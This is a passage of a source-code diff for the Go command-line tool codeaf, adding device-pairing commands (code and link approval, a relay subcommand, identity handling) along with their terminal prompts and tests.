filepath.Join(t.TempDir(), "id.blob") + do, _ := door(t, other, "pw") + runIdentityAt([]string{"export", blob}, do) + di, _ := door(t, old, "pw") + if err := runIdentityAt([]string{"import", blob}, di); err == nil || !strings.Contains(err.Error(), "--replace") { + t.Fatalf("want a --replace refusal, got %v", err) + } + again, err := keys.Open(old) + if err != nil { + t.Fatal(err) + } + if e, err := again.Get("a"); err != nil || e.Value != "kept" { + t.Fatalf("vault lost: %v %v", e, err) + } +} diff --git a/cmd/codeaf/logs.go b/cmd/codeaf/logs.go index c7ecfc2dbe..e56a9a6b45 100644 --- a/cmd/codeaf/logs.go +++ b/cmd/codeaf/logs.go @@ -77,7 +77,7 @@ func runLogsWith(args []string, output io.Writer, path string, now func() time.T flags.StringVar(&filter.run, "run", "", "only calls belonging to this run") flags.StringVar(&filter.tag, "tag", "", "only calls with this tag") flags.StringVar(&filter.model, "model", "", "only calls asking for this model") - flags.StringVar(&filter.node, "node", "", "only calls belonging to this node") + flags.StringVar(&filter.node, "node", "", "only calls belonging to this part") flags.StringVar(&filter.call, "call", "", "only this call id, both of its rows") if err := parseCommandFlags(flags, reorder(flags, args)); err != nil { return err diff --git a/cmd/codeaf/logs_test.go b/cmd/codeaf/logs_test.go index 0449f6e667..e63ab6d195 100644 --- a/cmd/codeaf/logs_test.go +++ b/cmd/codeaf/logs_test.go @@ -4,6 +4,7 @@ import ( "bytes" "errors" "fmt" + "github.com/Agent-Field/codeaf/internal/cellstore" "io" "os" "path/filepath" @@ -82,6 +83,7 @@ func TestMain(m *testing.M) { // "bash" for itself and wins. os.Setenv("CODEAF_TASK_BELT", "node") code := m.Run() + cellstore.StopSpawned() // no engine daemon outlives the run restore() os.Exit(code) } diff --git a/cmd/codeaf/main.go b/cmd/codeaf/main.go index 9974b41d3d..7e0877365a 100644 --- a/cmd/codeaf/main.go +++ b/cmd/codeaf/main.go @@ -35,6 +35,7 @@ import ( lanes "github.com/Agent-Field/codeaf/internal/lane" "github.com/Agent-Field/codeaf/internal/plan" "github.com/Agent-Field/codeaf/internal/plandb" + "github.com/Agent-Field/codeaf/internal/relayserve" "github.com/Agent-Field/codeaf/internal/router" "github.com/Agent-Field/codeaf/internal/session" "github.com/Agent-Field/codeaf/internal/telemetry" @@ -301,6 +302,17 @@ func run() error { // is a command a person runs and watches — which is why it is in the // usage text and `engine` is not (chatv3_at.go). return runServe(os.Args[2:]) + case "pair": + // Share this computer's chats with another one: one side shows a code, + // the other types it (pair.go). It is a command a person runs and + // watches, so it is in the usage text. + return runPair(os.Args[2:]) + case "relay": + // The relay program itself, the same relayserve.Main that cmd/relay + // builds: `codeaf relay --listen :8787 --store `. It is run by + // whoever hosts the relay and not typed in a conversation, so like + // `engine` it is absent from the usage text. + return relayserve.Main(os.Args[2:]) case "devices": // Who is allowed to open a conversation here, and the door for taking // that back. REVOKING IS THIS MACHINE'S DECISION AND ONLY THIS @@ -354,6 +366,16 @@ func run() error { return runServices(os.Args[2:]) case "wake": return runWake(os.Args[2:]) + case "cell": + // The turn chain of a cell (cell.go): its log and its rewind. Machinery + // with cells on by default, DELIBERATELY ABSENT from the + // usage text below, like `engine` and `tick`. + return runCell(os.Args[2:]) + case "identity": + // The person's one root secret and its passphrase-wrapped export + // (identity.go). Machinery, so + // DELIBERATELY ABSENT from the usage text below, like `cell`. + return runIdentity(os.Args[2:]) case "tick": // One bounded pass over the standing items — the reminders, watches and // routines a conversation left behind (tick.go). It is what the OS @@ -550,12 +572,16 @@ Housekeeping — changes state on disk or on the network delete the build cache; you type "` + cacheCleanWord + `" to confirm, --yes skips it codeaf rebuild [--db path] [--yes] discard everything codeaf worked out from the journal and replay it - codeaf serve [--workspace path] [--relay url] + codeaf pair [--via url] [--name name] + add this device to yours: shows a link to approve from one you use + codeaf pair approve | [--replace] | --code + approve a new device; or use or show a six-digit code for your chats + codeaf serve [--workspace path] [--via url] be reachable from your other devices without ssh, with a pairing code codeaf devices - list the devices paired with this machine - codeaf devices revoke [--all] - stop one device opening a conversation here, --all every device of it + list your devices and the ones that can use this machine + codeaf devices revoke [--all] | rename + remove one (cannot undo what a device holds), or name this one codeaf notebook [--db path] what it has learned, and what it has been corrected on codeaf notebook retract|restore [--db path] diff --git a/cmd/codeaf/pair.go b/cmd/codeaf/pair.go new file mode 100644 index 0000000000..f4ea40da62 --- /dev/null +++ b/cmd/codeaf/pair.go @@ -0,0 +1,193 @@ +package main + +// `codeaf pair`: share this computer's chats with another one, from a terminal. +// +// one$ codeaf pair shows a code and waits +// two$ codeaf pair 42-715-302 types it +// +// Both doors run internal/pair's Offer and Join and add nothing to them but a +// terminal to read and print on; the chat's `/pair` runs the same two functions +// on a screen. Every sentence a person reads is pair's own. + +import ( + "context" + "fmt" + "io" + "os" + "os/signal" + "strings" + "syscall" + + "github.com/Agent-Field/codeaf/internal/devname" + "github.com/Agent-Field/codeaf/internal/directory" + "github.com/Agent-Field/codeaf/internal/home" + "github.com/Agent-Field/codeaf/internal/pair" +) + +// pairDoor is one run of `codeaf pair`: the terminal it talks on and the three +// things that say where a pairing goes, which are seams so a test can point two +// doors at two homes. +type pairDoor struct { + term *terminal + mailbox func(relayFlag string) (pair.Mailbox, error) + grant func(pair.Mailbox) (pair.Grant, error) + joining func(replace bool) pair.Joining + + // asksName is true when a person is at the terminal and so can be asked what + // this computer should be called while it joins. + asksName bool + + // The three seams of pairing by link. + requests func(pair.Mailbox) directory.Requests + linking func(route pair.Mailbox, replace bool) pair.LinkJoining + approver func(pair.Mailbox) (pair.Approver, error) +} + +func newPairDoor(in io.Reader, out io.Writer) pairDoor { + return pairDoor{term: newTerminal(in, out), asksName: in == io.Reader(os.Stdin) && stdinIsTerminal(os.Stdin), mailbox: pairMailbox, grant: pairGrant, joining: pairJoining, + requests: linkRequests, linking: linkJoining(home.Dir()), approver: linkApprover(home.Dir())} +} + +const pairUsage = "usage: codeaf pair [--name ] | codeaf pair approve | codeaf pair [--replace] [--name ] | codeaf pair --code" + +// approveUsage is what `codeaf pair approve` with nothing after it is told. +const approveUsage = "usage: codeaf pair approve \u2014 the link or code the new device shows" + +func runPair(args []string) error { + // ctrl+c is how a shown code is taken back, so it cancels the pairing rather + // than killing the process: Offer deletes its mailbox on the way out. + ctx, stop := signal.NotifyContext(context.Background(), os.Interrupt, syscall.SIGTERM) + defer stop() + return newPairDoor(os.Stdin, os.Stdout).run(ctx, args) +} + +func (d pairDoor) run(ctx context.Context, args []string) error { + flags := commandFlags("pair") + via := flags.String("via", "", "the sync address to pair through; empty is the one this device already uses") + renamedFlag(flags, "relay", "via") + code := flags.Bool("code", false, "show a six-digit code that shares this device's chats, instead of asking to join") + replace := flags.Bool("replace", false, "when typing a code, replace this device's own chats with the shared ones") + name := flags.String("name", "", "what your devices call this one; empty keeps its current name, which starts as the host name") + if err := parseCommandFlags(flags, reorder(flags, args)); err != nil { + return err + } + if err := d.naming(ctx, *name, flags.Args(), *code); err != nil { + return err + } + return d.dispatch(ctx, flags.Args(), *via, *replace, *code) +} + +// naming settles what this computer is called before a join starts, because the +// name is what the device that lets it in will show. A typed --name is kept as it +// is, and a bad one stops the pairing before the relay is looked up. Without one, +// a person at a terminal who has never named this computer is shown the host name +// and may keep it with Enter or type another. The device that shows a code or +// approves already has a name, so only a join asks. +func (d pairDoor) naming(ctx context.Context, typed string, args []string, showing bool) error { + if typed != "" { + _, err := devname.Set(home.Dir(), typed) + return err + } + if !d.asksName || showing || !joins(args) { + return nil + } + if _, named := devname.Chosen(home.Dir()); named { + return nil + } + return d.askName(ctx) +} + +// joins says the arguments are a join: a bare `codeaf pair` or a typed code, +// and not `approve`, a link or a shown code. +func joins(args []string) bool { + return len(args) == 0 || (len(args) == 1 && !pair.IsLinkText(args[0])) +} + +// askName asks until a name is kept or the person leaves it as it is. +func (d pairDoor) askName(ctx context.Context) error { + for { + fmt.Fprint(d.term.out, pair.NamePrompt(devname.Name(home.Dir()))+" ") + typed, ok := d.term.lines.next(ctx) + if !ok || strings.TrimSpace(typed) == "" { + fmt.Fprintln(d.term.out) + return nil + } + _, err := devname.Set(home.Dir(), typed) + if err == nil { + return nil + } + d.term.say(pair.NameTried(err)) + } +} + +// dispatch picks the door by what was typed: nothing asks to join, `approve` +// and anything shaped like a link approve, and a six-digit code joins as before. +func (d pairDoor) dispatch(ctx context.Context, args []string, relay string, replace, code bool) error { + switch { + case code && len(args) == 0 && !replace: + return d.show(ctx, relay) + case len(args) == 0 && !code: + return d.askToJoin(ctx, relay, replace) + case len(args) == 1 && args[0] == "approve": + return wrongCall(approveUsage) + case len(args) == 2 && args[0] == "approve" && !code && !replace: + return d.approve(ctx, relay, args[1]) + case len(args) == 1 && !code && pair.IsLinkText(args[0]): + return d.approve(ctx, relay, args[0]) + case len(args) == 1 && !code: + return d.join(ctx, relay, args[0], replace) + } + return wrongCall(pairUsage) +} + +// show is the device that has the chats: a code on screen until one device has +// typed it and a person has said yes. +func (d pairDoor) show(ctx context.Context, relay string) error { + route, err := d.mailbox(relay) + if err != nil { + return err + } + grant, err := d.grant(route) + if err != nil { + return err + } + label, err := pair.Offer(ctx, route, grant, offerScreen{d.term}) + if err != nil { + return d.endedByPerson(ctx, err) + } + d.term.say(pair.PairedChatsLine(label)) + return nil +} + +// join is the device that gets them. A code that cannot be a code is refused +// before the relay is even looked up, so a typo costs no request. +func (d pairDoor) join(ctx context.Context, relay, typed string, replace bool) error { + if _, err := pair.ReadJoinCode(typed); err != nil { + return err + } + route, err := d.mailbox(relay) + if err != nil { + return err + } + joined, err := pair.Join(ctx, route, d.joining(replace), typed, joinScreen{d.term}) + if err != nil { + return d.endedByPerson(ctx, err) + } + d.term.say(joinedSentence(joined)) + return nil +} + +// joinedSentence is how a finished join reads. +func joinedSentence(joined pair.Joined) string { return joined.Sentence() } + +// endedByPerson turns the end a person chose with ctrl+c into a clean exit that +// says nothing was paired, and leaves every other failure as the sentence it already is. +func (d pairDoor) endedByPerson(ctx context.Context, err error) error { + if ctx.Err() != nil { + // The terminal echoes ^C on the prompt's own line, so start a fresh one. + fmt.Fprintln(d.term.out) + d.term.say(pair.CancelledLine) + return nil + } + return err +} diff --git a/cmd/codeaf/pair_terminal.go b/cmd/codeaf/pair_terminal.go new file mode 100644 index 0000000000..e732f7028f --- /dev/null +++ b/cmd/codeaf/pair_terminal.go @@ -0,0 +1,140 @@ +package main + +// The terminal's half of a pairing: the questions a person answers with y or n, +// and the lines both doors of `codeaf pair` print. The sentences themselves are +// internal/pair's (lines.go), so the terminal and the chat screen cannot drift. + +import ( + "bufio" + "context" + "fmt" + "io" + "os" + "strings" + "sync" + + "github.com/Agent-Field/codeaf/internal/guard" + "github.com/Agent-Field/codeaf/internal/pair" +) + +// lineSource hands out the lines of one input, one at a time, without ever +// blocking a caller past its context. +// +// A READ CANNOT BE CANCELLED, so a question that runs out of time leaves its read +// waiting. That read is kept and given to the next question rather than started +// again: a second reader on the same input would race the first for the line +// and one of the two answers would be lost. +type lineSource struct { + mu sync.Mutex + reader *bufio.Reader + waiting chan string +} + +func newLineSource(in io.Reader) *lineSource { return &lineSource{reader: bufio.NewReader(in)} } + +// next is the next line typed, or false when ctx ends first. The end of the +// input is an empty line, which every question here reads as a no. +func (s *lineSource) next(ctx context.Context) (string, bool) { + line := s.pending() + select { + case text := <-line: + s.finish(line) + return text, true + case <-ctx.Done(): + return "", false + } +} + +// pending is the read in flight, started if there is none. +func (s *lineSource) pending() chan string { + s.mu.Lock() + defer s.mu.Unlock() + if s.waiting == nil { + s.waiting = make(chan string, 1) + out := s.waiting + guard.Go("pair/read a line", func() { + text, _ := s.reader.ReadString('\n') + out <- text + }) + } + return s.waiting +} + +// finish forgets a read that has been answered, so the next question starts its own. +func (s *lineSource) finish(line chan string) { + s.mu.Lock() + defer s.mu.Unlock() + if s.waiting == line { + s.waiting = nil + } +} + +// terminal is a person at a plain terminal: what they read and what they type. +type terminal struct { + out io.Writer + lines *lineSource +} + +func newTerminal(in io.Reader, out io.Writer) *terminal { + return &terminal{out: out, lines: newLineSource(in)} +} + +// say prints one line. +func (t *terminal) say(line string) { fmt.Fprintln(t.out, line) } + +// confirm puts a question with the pair package's own choice under it and +// answers whether the person said yes. THERE IS NO DEFAULT: Enter, the end of +// the input, silence and every word but y and yes are a no, because a stray key +// must never let a device in. +func (t *terminal) confirm(ctx context.Context, question string) bool { + fmt.Fprint(t.out, question+" "+pair.AskChoice+" ") + typed, ok := t.lines.next(ctx) + if !ok { + // Nothing was typed, so the line the prompt is on is left open: close it. + fmt.Fprintln(t.out) + return false + } + return saidYes(typed) +} + +func saidYes(typed string) bool { + switch strings.ToLower(strings.TrimSpace(typed)) { + case "y", "yes": + return true + } + return false +} + +// offerScreen is the device that shows the code, as a terminal. +type offerScreen struct{ *terminal } + +func (s offerScreen) Show(_ *pair.Code, lines string) { fmt.Fprint(s.out, lines) } + +func (s offerScreen) Burned() { s.say(pair.BurnLine) } + +func (s offerScreen) Ask(ctx context.Context, label, words string) bool { + return s.confirm(ctx, pair.AskChatsLine(label, words)) +} + +// joinScreen is the device that types the code, as a terminal. +type joinScreen struct{ *terminal } + +func (s joinScreen) Waiting(words string) { s.say(pair.WaitingChatsLine(words)) } + +// serveApprover is how this machine asks the person at it before a device may +// use it: the pair package's question on the terminal, answered y or n. +// +// NIL WHEN NOBODY IS AT A TERMINAL, because a question nobody can read is a no +// and [pair.Host] already says so for a nil approver. Each question is given +// [pair.ConfirmWithin] and no more, the same as the device on the other side. +func serveApprover(ctx context.Context, in *os.File, out io.Writer) func(label, words string) bool { + if !stdinIsTerminal(in) { + return nil + } + person := newTerminal(in, out) + return func(label, words string) bool { + asked, stop := context.WithTimeout(ctx, pair.ConfirmWithin) + defer stop() + return person.confirm(asked, pair.AskMachineLine(label, words)) + } +} diff --git a/cmd/codeaf/pair_test.go b/cmd/codeaf/pair_test.go new file mode 100644 index 0000000000..4ff5b1e09c --- /dev/null +++ b/cmd/codeaf/pair_test.go @@ -0,0 +1,313 @@ +package main + +import ( + "bytes" + "context" + "errors" + "io" + "net/http" + "net/http/httptest" + "regexp" + "strings" + "sync" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/identity" + "github.com/Agent-Field/codeaf/internal/pair" + "github.com/Agent-Field/codeaf/internal/pairbox" + "github.com/Agent-Field/codeaf/internal/relayserve" + "github.com/Agent-Field/codeaf/internal/syncsetup" +) + +// pairScreenText is a terminal's output that a test can read while the door that +// writes it is still running. +type pairScreenText struct { + mu sync.Mutex + text bytes.Buffer +} + +func (b *pairScreenText) Write(p []byte) (int, error) { + b.mu.Lock() + defer b.mu.Unlock() + return b.text.Write(p) +} + +func (b *pairScreenText) String() string { + b.mu.Lock() + defer b.mu.Unlock() + return b.text.String() +} + +// waitFor is the first match of pattern in what a terminal has printed, or a +// failure after a while. +func (b *pairScreenText) waitFor(t *testing.T, pattern string) []string { + t.Helper() + re := regexp.MustCompile(pattern) + deadline := time.Now().Add(15 * time.Second) + for time.Now().Before(deadline) { + if found := re.FindStringSubmatch(b.String()); found != nil { + return found + } + time.Sleep(10 * time.Millisecond) + } + t.Fatalf("the terminal never printed %q; it printed:\n%s", pattern, b.String()) + return nil +} + +// A typo is refused before any relay is looked up, so it needs no network and +// no relay setting at all. +func TestPairBadCode(t *testing.T) { + t.Setenv("CODEAF_HOME", t.TempDir()) + t.Setenv("CODEAF_SYNC_URL", "off") + for _, typed := range []string{"12", "abc-def-ghi", "4-715-30x"} { + out := &pairScreenText{} + err := newPairDoor(strings.NewReader(""), out).run(context.Background(), []string{typed}) + if !errors.Is(err, pair.ErrCodeShape) { + t.Fatalf("typing %q ended with %v, want the code-shape sentence", typed, err) + } + if out.String() != "" { + t.Fatalf("typing %q printed %q before it was refused", typed, out.String()) + } + } +} + +// A relay that is switched off is said at once, by both doors, and nothing is +// sent to any relay: not the saved one and not the one named on the command line. +func TestPairSyncOff(t *testing.T) { + stub := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + t.Errorf("a request reached the relay: %s %s", r.Method, r.URL.Path) + })) + defer stub.Close() + dir := t.TempDir() + t.Setenv("CODEAF_HOME", dir) + if err := syncsetup.SaveRelayURL(dir, stub.URL); err != nil { + t.Fatal(err) + } + t.Setenv("CODEAF_SYNC_URL", "OFF") + for _, args := range [][]string{nil, {"42-715-302"}} { + err := newPairDoor(strings.NewReader(""), &pairScreenText{}).run(context.Background(), args) + if !errors.Is(err, pair.ErrSyncOff) { + t.Fatalf("`codeaf pair %v` with sync off ended with %v", args, err) + } + } +} + +// pairRig is two computers and a relay between them, in this process. +type pairRig struct { + url string + homeA string + homeB string +} + +func newPairRig(t *testing.T) *pairRig { + t.Helper() + svc := relayserve.New(relayserve.Config{Store: t.TempDir()}) + srv := httptest.NewServer(svc.Handler) + t.Cleanup(func() { srv.Close(); svc.Close() }) + rig := &pairRig{url: srv.URL, homeA: t.TempDir(), homeB: t.TempDir()} + if _, err := identity.Ensure(rig.homeA); err != nil { + t.Fatal(err) + } + return rig +} + +// door is the real command with its three seams pointed at one of the homes. +func (r *pairRig) door(home string, in io.Reader, out io.Writer) pairDoor { + d := newPairDoor(in, out) + d.mailbox = func(string) (pair.Mailbox, error) { + return pair.Mailbox{Box: pairbox.NewHTTP(r.url, &http.Client{Timeout: time.Minute}), URL: r.url, Host: "relay.test"}, nil + } + d.grant = func(route pair.Mailbox) (pair.Grant, error) { + id, err := identity.Ensure(home) + return pair.Grant{Identity: id, SyncURL: route.URL}, err + } + d.joining = func(replace bool) pair.Joining { + return pair.Joining{Home: home, Label: "laptop", Replace: replace, + SaveSyncURL: func(url string) error { return syncsetup.SaveRelayURL(home, url) }} + } + d.linking = func(route pair.Mailbox, replace bool) pair.LinkJoining { + j := linkJoining(home)(route, replace) + j.Label = "laptop" + return j + } + d.approver = linkApprover(home) + return d +} + +// showing is the device that has the chats, running in the background with a +// pipe a test types its answers into. +type showing struct { + out *pairScreenText + typed *io.PipeWriter + done chan error + stop context.CancelFunc +} + +func (r *pairRig) show(t *testing.T) *showing { + t.Helper() + in, typed := io.Pipe() + s := &showing{out: &pairScreenText{}, typed: typed, done: make(chan error, 1)} + ctx, stop := context.WithCancel(context.Background()) + s.stop = stop + t.Cleanup(func() { stop(); _ = typed.Close() }) + go func() { s.done <- r.door(r.homeA, in, s.out).run(ctx, []string{"--code"}) }() + return s +} + +func (s *showing) code(t *testing.T) string { + t.Helper() + return s.out.waitFor(t, `codeaf pair (\S+)`)[1] +} + +func (s *showing) end(t *testing.T) error { + t.Helper() + select { + case err := <-s.done: + return err + case <-time.After(20 * time.Second): + t.Fatal("`codeaf pair` did not finish") + return nil + } +} + +// joinWith types a code on the other computer and answers what it ends with. +func (r *pairRig) joinWith(t *testing.T, code string, replace bool) (*pairScreenText, error) { + t.Helper() + out := &pairScreenText{} + args := []string{code} + if replace { + args = append(args, "--replace") + } + return out, r.door(r.homeB, strings.NewReader(""), out).run(context.Background(), args) +} + +// The whole of both doors through the real command: one shows a code, the other +// types it, both screens show the same three words, a person types y, and the +// second computer holds the first one's chats and the relay it came through. +func TestPairBothDoorsOnATerminal(t *testing.T) { + rig := newPairRig(t) + shown := rig.show(t) + code := shown.code(t) + + joined := make(chan error, 1) + var joiner *pairScreenText + go func() { + var err error + joiner, err = rig.joinWith(t, code, false) + joined <- err + }() + + asked := shown.out.waitFor(t, `"laptop" wants your chats\. Same three words on that screen: ([a-z ]+)\? y / n `) + if _, err := io.WriteString(shown.typed, "y\n"); err != nil { + t.Fatal(err) + } + if err := <-joined; err != nil { + t.Fatal(err) + } + if err := shown.end(t); err != nil { + t.Fatal(err) + } + + wanted := pair.WaitingChatsLine(asked[1]) + if got := joiner.String(); got != wanted+"\n"+pair.JoinedLine+"\n" { + t.Fatalf("the joining terminal printed:\n%s\nwant:\n%s\n%s", got, wanted, pair.JoinedLine) + } + if !strings.HasSuffix(shown.out.String(), pair.PairedChatsLine("laptop")+"\n") { + t.Fatalf("the sharing terminal did not end on the paired line:\n%s", shown.out.String()) + } + first, _ := identity.Load(rig.homeA) + second, err := identity.Load(rig.homeB) + if err != nil || second.ID() != first.ID() { + t.Fatalf("the second computer holds %v (%v), want the first one's chats", second.ID(), err) + } + if got := syncsetup.Resolve(rig.homeB).URL; got != rig.url { + t.Fatalf("the second computer saved the relay %q, want %q", got, rig.url) + } +} + +// A person who does not say y lets nobody in: Enter alone is a no, and the +// joining computer is told so in the pair package's own sentence. +func TestPairEnterIsNo(t *testing.T) { + rig := newPairRig(t) + shown := rig.show(t) + code := shown.code(t) + + joined := make(chan error, 1) + go func() { _, err := rig.joinWith(t, code, false); joined <- err }() + shown.out.waitFor(t, `y / n `) + if _, err := io.WriteString(shown.typed, "\n"); err != nil { + t.Fatal(err) + } + if err := <-joined; !errors.Is(err, pair.ErrRefused) { + t.Fatalf("the joining computer ended with %v, want a refusal", err) + } + if err := shown.end(t); !errors.Is(err, pair.ErrRefused) { + t.Fatalf("the sharing computer ended with %v, want a refusal", err) + } + if _, err := identity.Load(rig.homeB); err == nil { + t.Fatal("a refused computer was given the chats") + } +} + +// A wrong code costs the person nothing but a new code, which is on the screen +// before anyone presses a key; ctrl+c then ends the door cleanly. +func TestPairWrongCodeBurnsAndShowsANewOne(t *testing.T) { + rig := newPairRig(t) + shown := rig.show(t) + code := shown.code(t) + + wrong := code[:len(code)-1] + string(rune('0'+(code[len(code)-1]-'0'+1)%10)) + if _, err := rig.joinWith(t, wrong, false); !errors.Is(err, pair.ErrCodeDidNotWork) { + t.Fatalf("a wrong code ended with %v, want the code-did-not-work sentence", err) + } + shown.out.waitFor(t, regexp.QuoteMeta(pair.BurnLine)+`\n(?s:.*)codeaf pair \S+`) + shown.stop() + if err := shown.end(t); err != nil { + t.Fatalf("ctrl+c ended the sharing door with %v, want a clean end", err) + } +} + +// Every answer but y and yes is a no, whatever its case or spacing, and the end +// of the input is one too. +func TestTerminalConfirmReadsOnlyYesAsYes(t *testing.T) { + for typed, want := range map[string]bool{ + "y\n": true, " YES \n": true, "Yes\n": true, + "\n": false, "n\n": false, "no\n": false, "yep\n": false, "ok\n": false, "": false, + } { + out := &pairScreenText{} + got := newTerminal(strings.NewReader(typed), out).confirm(context.Background(), "ok?") + if got != want { + t.Errorf("answering %q gave %v, want %v", typed, got, want) + } + if !strings.HasPrefix(out.String(), "ok? "+pair.AskChoice+" ") { + t.Errorf("the question was printed as %q", out.String()) + } + } +} + +// Silence is a no: a question that runs out of time answers false, and the next +// question still gets the line a person types afterwards. +func TestTerminalConfirmSilenceIsNo(t *testing.T) { + in, typed := io.Pipe() + defer typed.Close() + person := newTerminal(in, &pairScreenText{}) + + quiet, stop := context.WithTimeout(context.Background(), 20*time.Millisecond) + defer stop() + if person.confirm(quiet, "first?") { + t.Fatal("silence was read as a yes") + } + go func() { _, _ = io.WriteString(typed, "y\n") }() + if !person.confirm(context.Background(), "second?") { + t.Fatal("the answer typed after the silence was lost") + } +} + +// `codeaf serve` asks nobody when nobody is at a terminal, which the host reads +// as a no. +func TestServeApproverIsAbsentWithoutATerminal(t *testing.T) { + if serveApprover(context.Background(), nil, io.Discard) != nil { + t.Fatal("a machine with no terminal was given someone to ask") + } +} diff --git a/cmd/codeaf/pairlink.go b/cmd/codeaf/pairlink.go new file mode 100644 index 0000000000..14548d78d7 --- /dev/null +++ b/cmd/codeaf/pairlink.go @@ -0,0 +1,180 @@ +package main + +// `codeaf pair` by link: a new device asks to join and shows a link; a device +// that is already in approves it with `codeaf pair approve `. +// +// new$ codeaf pair shows a link and waits +// old$ codeaf pair approve k7m2q9xd.Qm9v shows who is asking, asks y or n +// +// Both doors run internal/pair's JoinByLink and Approver. The app's approve +// screen calls the same Approver, so the two cannot disagree. + +import ( + "context" + "crypto/ed25519" + "errors" + "net/http" + "runtime" + "time" + + "github.com/Agent-Field/codeaf/internal/directory" + "github.com/Agent-Field/codeaf/internal/home" + "github.com/Agent-Field/codeaf/internal/identity" + "github.com/Agent-Field/codeaf/internal/pair" + "github.com/Agent-Field/codeaf/internal/reqsign" + "github.com/Agent-Field/codeaf/internal/syncsetup" +) + +// linkTimeout outlasts one held poll so the answer, not the client, ends a wait. +const linkTimeout = directory.MaxWait + 10*time.Second + +// linkRequests is the open side of the directory at a route. +func linkRequests(route pair.Mailbox) directory.Requests { + return directory.NewLinkHTTP(route.URL, &http.Client{Timeout: linkTimeout}) +} + +// homeDirectory is this computer's signed directory at a route, and the identity +// it signs for. +func homeDirectory(dir string, route pair.Mailbox) (directory.Client, identity.Identity, error) { + id, err := identity.Load(dir) + if errors.Is(err, identity.ErrNone) { + return nil, id, pair.ErrNotJoined + } + if err != nil { + return nil, id, err + } + dev, err := identity.Device(dir) + if err != nil { + return nil, id, err + } + sign := reqsign.SignFor(homeSigner{id, dev}, time.Now) + return directory.NewHTTP(route.URL, sign, &http.Client{Timeout: linkTimeout}), id, nil +} + +type homeSigner struct { + id identity.Identity + dev identity.Dev +} + +func (s homeSigner) IdentityKey() ed25519.PublicKey { return s.id.PublicKey() } +func (s homeSigner) Cert() identity.Cert { return s.dev.Cert } +func (s homeSigner) Sign(msg []byte) []byte { return s.dev.Sign(msg) } + +// pullFleet counts what the identity holds, as this computer now sees it. +func pullFleet(dir string, route pair.Mailbox) func(context.Context) (pair.Fleet, error) { + return func(ctx context.Context) (pair.Fleet, error) { + client, _, err := homeDirectory(dir, route) + if err != nil { + return pair.Fleet{}, err + } + listing, err := client.List(ctx) + return fleetOf(listing), err + } +} + +// fleetOf counts the devices that are still in and the workspaces that are still open. +func fleetOf(l directory.Listing) pair.Fleet { + var f pair.Fleet + for _, d := range l.Devices { + if !d.Revoked { + f.Devices++ + } + } + for _, c := range l.Cells { + if !c.Archived { + f.Workspaces++ + } + } + return f +} + +// linkJoining is this computer as the device that asks to join. +func linkJoining(dir string) func(pair.Mailbox, bool) pair.LinkJoining { + return func(route pair.Mailbox, replace bool) pair.LinkJoining { + return pair.LinkJoining{ + Joining: pairJoiningAt(dir)(replace), Platform: runtime.GOOS, Host: route.Host, Via: route.Shown, + Pull: pullFleet(dir, route), + } + } +} + +// inviteScreen is the new device's terminal. +type inviteScreen struct{ *terminal } + +func (s inviteScreen) Invited(in pair.Invite) { s.say(pair.InviteLines(in)) } + +// askToJoin is the new device: a link on screen until a device that is in says yes. +func (d pairDoor) askToJoin(ctx context.Context, relay string, replace bool) error { + route, err := d.mailbox(relay) + if err != nil { + return err + } + joined, err := pair.JoinByLink(ctx, d.requests(route), d.linking(route, replace), inviteScreen{d.term}) + if err != nil && !errors.Is(err, pair.ErrPairedNotRead) { + return d.endedByPerson(ctx, err) + } + if err != nil { + d.term.say(err.Error()) + return nil + } + d.term.say(pair.JoinedFleetLine(joined.Fleet.Workspaces)) + return nil +} + +// approve is a device that is in: it reads the request, shows who is asking and +// the check number, and lets them in on a yes. Anything but a yes turns them down. +func (d pairDoor) approve(ctx context.Context, relay, typed string) error { + ref, err := pair.ReadLink(typed) + if err != nil { + return err + } + route, err := d.mailbox(relay) + if err != nil { + return err + } + who, err := d.approver(route) + if err != nil { + return err + } + asking, err := who.Look(ctx, ref) + if err != nil { + return err + } + d.term.say(pair.WantsToJoinLine(asking.Name, asking.Platform)) + if !d.term.confirm(ctx, pair.CheckQuestion(asking.Check)) { + return d.decline(ctx, who, asking) + } + if err := who.Approve(ctx, asking); err != nil { + return err + } + if err := identity.EndSolo(home.Dir()); err != nil { + return err + } + d.term.say(pair.ApprovedLine(asking.Name)) + return nil +} + +func (d pairDoor) decline(ctx context.Context, who pair.Approver, asking pair.Asking) error { + if ctx.Err() != nil { + return d.endedByPerson(ctx, nil) + } + if err := who.Deny(ctx, asking); err != nil { + return err + } + d.term.say(pair.DeclinedLine) + return nil +} + +// linkApprover is this computer as the device that approves. +func linkApprover(dir string) func(pair.Mailbox) (pair.Approver, error) { + return func(route pair.Mailbox) (pair.Approver, error) { + client, id, err := homeDirectory(dir, route) + if err != nil { + return pair.Approver{}, err + } + return pair.Approver{ + Requests: linkRequests(route), Dir: client, Identity: id, + SyncURL: syncsetup.Named(route.URL), Replaces: identity.Predecessors(dir), + }, nil + } +} diff --git a/cmd/codeaf/pairlink_test.go b/cmd/codeaf/pairlink_test.go new file mode 100644 index 0000000000..0900620e72 --- /dev/null +++ b/cmd/codeaf/pairlink_test.go @@ -0,0 +1,135 @@ +package main + +import ( + "bytes" + "context" + "errors" + "strings" + "testing" + + "github.com/Agent-Field/codeaf/internal/identity" + "github.com/Agent-Field/codeaf/internal/pair" +) + +// asking runs `codeaf pair` on the new computer in the background. +func (r *pairRig) asking(t *testing.T) (*pairScreenText, chan error) { + t.Helper() + out := &pairScreenText{} + done := make(chan error, 1) + go func() { done <- r.door(r.homeB, strings.NewReader(""), out).run(context.Background(), nil) }() + return out, done +} + +// approveWith runs `codeaf pair approve ` on the first computer, with the +// person typing answer. +func (r *pairRig) approveWith(t *testing.T, args []string, answer string) (*pairScreenText, error) { + t.Helper() + out := &pairScreenText{} + return out, r.door(r.homeA, strings.NewReader(answer), out).run(context.Background(), args) +} + +// The headless path end to end: the new computer prints a link and a typed form, +// the first one is shown who asks and the check number and types y, and the new +// one says it is paired. +func TestPairByLinkEndToEnd(t *testing.T) { + rig := newPairRig(t) + screen, done := rig.asking(t) + typed := screen.waitFor(t, `codeaf pair approve (\S+)`)[1] + link := screen.waitFor(t, `https://codeaf\.agentfield\.ai/p/\S+#\S+`)[0] + check := screen.waitFor(t, `Check number: (\d{4})`)[1] + if !strings.Contains(link, typed[:8]) { + t.Fatalf("the link %s and the typed form %s name different requests", link, typed) + } + + out, err := rig.approveWith(t, []string{"approve", typed}, "y\n") + if err != nil { + t.Fatal(err) + } + want := 